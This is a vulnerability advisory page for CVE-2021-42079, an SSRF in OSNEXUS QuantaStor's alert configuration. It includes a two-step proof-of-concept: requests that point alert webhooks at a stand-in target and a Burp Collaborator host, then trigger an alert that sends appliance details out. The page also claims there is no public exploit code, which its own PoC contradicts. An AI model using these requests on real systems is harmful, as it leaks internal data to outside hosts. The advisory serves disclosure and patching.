# CVE-2021-42079: SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355

> An authenticated administrator can trigger Server-Side Request Forgery via alert configuration, allowing internal network access or data exfiltration.

- **Severity:** Medium 6.2 (`CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N`)
- **Exploited in the wild:** Not known
- **Login needed:** An administrator
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** No
- **Published:** 10 Jul 2023
- **Updated:** 22 Sep 2025
- **Also known as:** GHSA-4v64-w7v7-ch7f

## What is CVE-2021-42079?

CVE-2021-42079 is a medium-severity server-side request forgery vulnerability in OSNEXUS QuantaStor, published on 10 Jul 2023. An attacker needs administrator access to exploit it, and only if a user opens a file or follows a link.

### Official description

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

POC

Step 1: Prepare the SSRF with a request like this:

GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>
HTTP/1.1

Host: <HOSTNAME> 
Accept-Encoding: gzip, deflate

Accept: */*
Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> 
Content-Type: application/json

Content-Length: 0

Step 2: Trigger this alert with this request

GET /qstorapi/alertRaise?title=test&message=test&severity=1 
HTTP/1.1

Host: <HOSTNAME> 
Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> 
Content-Type: application/json

Content-Length: 1

The post request received by <TARGET> looks like this:
{
 
### Python FLASK stuff ####

 'endpoint': 'index', 
 
'method': 'POST', 
 
'cookies': ImmutableMultiDict([]), 
 
### END Python FLASK stuff ####

 
'data': b'{ 
  "attachments": [ 
   {

    "fallback": "[122] test / test.",

    "color": "#aa2222",

    "title": "[122] test",

    "text": "test",

    "fields": [   
     {    

      "title": "Alert Severity",
        
      "value": "CRITICAL",
        
      "short": false  
     },  {   
      "title": "Appliance",     
      "value": "quantastor (https://<HOSTNAME>)",
      
      "short": true  

     },  {    

      "title": "System / Driver / Kernel Ver",    

      "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",    

      "short": false  

     },  {    

      "title": "System Startup",    

      "value": "Fri Aug  6 16-02-55 2021",    

      "short": true  

          },  {    

      "title": "SSID",    

      "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",    

      "short": true  

     },
    ],

    "footer": "QuantaStor Call-home Alert",

    "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",

    "ts": 1628461774
   }
  ], 
  "mrkdwn":true 
 }', 
 #### FLASK REQUEST STUFF #####

 'headers': {

  'Host': '<redacted>', 
  'User-Agent': 'curl/7.58.0', 
  'Accept': '*/*', 
  'Content-Type': 'application/json', 
  'Content-Length': '790'

 }, 
 'args': ImmutableMultiDict([]), 
 'form': ImmutableMultiDict([]), 
 'remote_addr': '217.103.63.173', 
 'path': '/payload/58', 
 'whois_ip': 'TNF-AS, NL'
}

#### END FLASK REQUEST STUFF #####

Weakness: CWE-918 (Server-Side Request Forgery)

## Which versions are affected by CVE-2021-42079?

It affects 1 product.


Products: Osnexus Quantastor.

## How do I fix CVE-2021-42079?

No fix has been published for CVE-2021-42079 yet. Limit exposure of the affected software until one is available.

## Is CVE-2021-42079 being exploited?

There is no known exploitation of CVE-2021-42079 in the wild and no public exploit code.

## Other vulnerabilities in OSNEXUS QuantaStor

- [CVE-2021-42081](https://insights.sbomify.com/CVE-2021-42081/): Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355 (critical 9.1)
- [CVE-2021-4406](https://insights.sbomify.com/CVE-2021-4406/): Authenticated Remote COmmand Execution as root in OSNEXUS QuantaStor version 6.0.0.355 and others (critical 9.1)
- [CVE-2021-42083](https://insights.sbomify.com/CVE-2021-42083/): Authenticated Stored XSS in OSNEXUS QuantaStor 6.0.0.335 (high 8.7)
- [CVE-2021-42082](https://insights.sbomify.com/CVE-2021-42082/): Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355 (high 7.8)
- [CVE-2021-42080](https://insights.sbomify.com/CVE-2021-42080/): Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355 (high 7.4)

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2021-42079 and fix it if it is affected.

What it is: CVE-2021-42079 is a medium-severity server-side request forgery vulnerability in OSNEXUS QuantaStor, published on 10 Jul 2023. An attacker needs administrator access to exploit it, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of CVE-2021-42079 in the wild and no public exploit code.

Affected product: OSNEXUS QuantaStor. No package-level version data is available, so check the vendor advisory linked from the reference page.

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2021-42079/ (Markdown: https://insights.sbomify.com/CVE-2021-42079/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2021-42079
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-42079
- OSV: https://osv.dev/vulnerability/CVE-2021-42079

---
From sbomify Insights: https://insights.sbomify.com/CVE-2021-42079/
Summaries are generated and may contain mistakes; the official description above is the record.
